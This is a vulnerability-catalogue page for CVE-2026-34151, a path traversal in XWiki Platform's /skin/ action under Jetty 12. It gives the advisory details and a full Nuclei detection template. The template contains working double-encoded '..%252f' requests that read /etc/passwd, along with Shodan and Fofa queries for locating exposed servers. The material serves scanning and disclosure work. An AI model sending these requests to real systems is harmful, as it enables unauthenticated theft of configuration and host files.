SecurityContext

CVE-2026-34151: XWiki Platform - Path Traversal

  • Template: CVE-2026-34151
  • Name: XWiki Platform - Path Traversal
  • Description: XWiki Platform is a generic wiki platform. Prior to 17.10.5 and 18.2.0, the /skin/ action in com.xpn.xwiki.web.SkinAction can resolve double-encoded parent-directory segments outside the intended skin or web-application resource prefix when Jetty 12 or later decodes the request path. The affected lookup is replaced with Environment.getResourceAsStream(String, String), which constrains a resource to its expected prefix. An unauthenticated remote attacker can use the vulnerable behavior to read arbitrary resources permitted to the Jetty process, including WEB-INF/xwiki.cfg and, depending on deployment depth and operating-system permissions, host files. Tomcat and Jetty versions before 12 do not appear affected. This issue is fixed in versions 17.10.5 and 18.2.0.
  • Impact: An unauthenticated remote attacker can use the vulnerable behavior to read arbitrary resources permitted to the Jetty process, including WEB-INF/xwiki.cfg and, depending on deployment depth and operating-system permissions, host files.
  • Remediation: Upgrade XWiki to later than 17.10.5 and 18.2.0.
  • Severity: high
  • Authors: ritikchaddha
  • Tags: cve, cve2026, xwiki, path-traversal, lfi, vkev
  • References: https://github.com/xwiki/xwiki-platform/security/advisories/GHSA-qj4x-9g63-25g6, https://jira.xwiki.org/browse/XWIKI-24075, https://nvd.nist.gov/vuln/detail/CVE-2026-34151
  • Cves: CVE-2026-34151
  • Verified: yes
  • Max requests: 2
  • Directory: http/cves
  • Path: http/cves/2026/CVE-2026-34151.yaml
  • Digest: 4a0a004730450221008070acb19626fae200c068e0bb6b164fa13fed78b5582a54cbb2e3f887953544022028e757f0a31760ce5f5e0198e01d327955b39dc86e01a64c492a8b8d044fd06c
  • Created at: 2026-10-29T08:03:46Z
  • Updated at: 2026-11-24T02:03:42Z
  • Age in days: 26
  • Template url: https://github.com/projectdiscovery/nuclei-templates/blob/main/http/cves/2026/CVE-2026-34151.yaml

Classification

  • Cwe: CWE-24
  • Cvss score: 8.2
  • Cvss vector: CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N
  • Epss score: 0.02469
  • Epss percentile: 0.8491
  • Cpe: cpe:2.3:a:xwiki:xwiki:*:*:*:*:*:*:*:*

Metadata

  • Fofa-query: body="data-xwiki-reference"
  • Max-request: 2
  • Product: xwiki
  • Shodan-query: html:"data-xwiki-reference"
  • Vendor: xwiki
  • Verified: yes

Products

ProductIndexedUrl
xwiki:xwikiyes/v1/products/xwiki/xwiki

Labels

  • Name: XWiki Platform - Path Traversal
  • Impact: Unauthenticated attackers can read arbitrary files accessible to the Jetty process, potentially exposing sensitive configuration and host files.
  • Remediation: Update to versions 17.10.5 or 18.2.0 or later.
  • Vulnerability type: path_traversal
  • Vulnerability impact: file_system_read, information_disclosure
  • Requirements: Attack requires Jetty 12 or later decoding the request path
  • Labels source: projectdiscovery
  • From cve: CVE-2026-34151
  • Not known: requirement type

```yaml

id: CVE-2026-34151

info:

name: XWiki Platform - Path Traversal

author: ritikchaddha

severity: high

description: |

XWiki Platform is a generic wiki platform. Prior to 17.10.5 and 18.2.0, the /skin/ action in com.xpn.xwiki.web.SkinAction can resolve double-encoded parent-directory segments outside the intended skin or web-application resource prefix when Jetty 12 or later decodes the request path. The affected lookup is replaced with Environment.getResourceAsStream(String, String), which constrains a resource to its expected prefix. An unauthenticated remote attacker can use the vulnerable behavior to read arbitrary resources permitted to the Jetty process, including WEB-INF/xwiki.cfg and, depending on deployment depth and operating-system permissions, host files. Tomcat and Jetty versions before 12 do not appear affected. This issue is fixed in versions 17.10.5 and 18.2.0.

impact: |

An unauthenticated remote attacker can use the vulnerable behavior to read arbitrary resources permitted to the Jetty process, including WEB-INF/xwiki.cfg and, depending on deployment depth and operating-system permissions, host files.

remediation: |

Upgrade XWiki to later than 17.10.5 and 18.2.0.

reference:

- https://github.com/xwiki/xwiki-platform/security/advisories/GHSA-qj4x-9g63-25g6

- https://jira.xwiki.org/browse/XWIKI-24075

- https://nvd.nist.gov/vuln/detail/CVE-2026-34151

classification:

cvss-metrics: CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N

cvss-score: 8.2

cve-id: CVE-2026-34151

epss-score: 0.02469

epss-percentile: 0.8491

cwe-id: CWE-24

cpe: cpe:2.3:a:xwiki:xwiki:*:*:*:*:*:*:*:*

metadata:

verified: true

max-request: 2

vendor: xwiki

product: xwiki

fofa-query: body="data-xwiki-reference"

shodan-query: html:"data-xwiki-reference"

tags: cve,cve2026,xwiki,path-traversal,lfi,vkev

flow: http(1) && http(2)

http:

- method: GET

path:

- "{{BaseURL}}"

redirects: true

matchers:

- type: dsl

dsl:

- "contains(body, 'xwiki')"

condition: and

internal: true

- method: GET

path:

- "{{BaseURL}}/xwiki/bin/skin/..%252f/..%252f..%252f..%252f..%252f..%252f..%252f..%252fetc/passwd"

- "{{BaseURL}}/bin/skin/..%252f/..%252f..%252f..%252f..%252f..%252f..%252f..%252fetc/passwd"

stop-at-first-match: true

matchers:

- type: dsl

dsl:

- "status_code == 200"

- "regex('root:.*:0:0:', body)"

- "contains(content_type, 'application/octet-stream')"

condition: and

digest: 4a0a004730450221008070acb19626fae200c068e0bb6b164fa13fed78b5582a54cbb2e3f887953544022028e757f0a31760ce5f5e0198e01d327955b39dc86e01a64c492a8b8d044fd06c:922c64590222798bb761d5b6d8e72950

```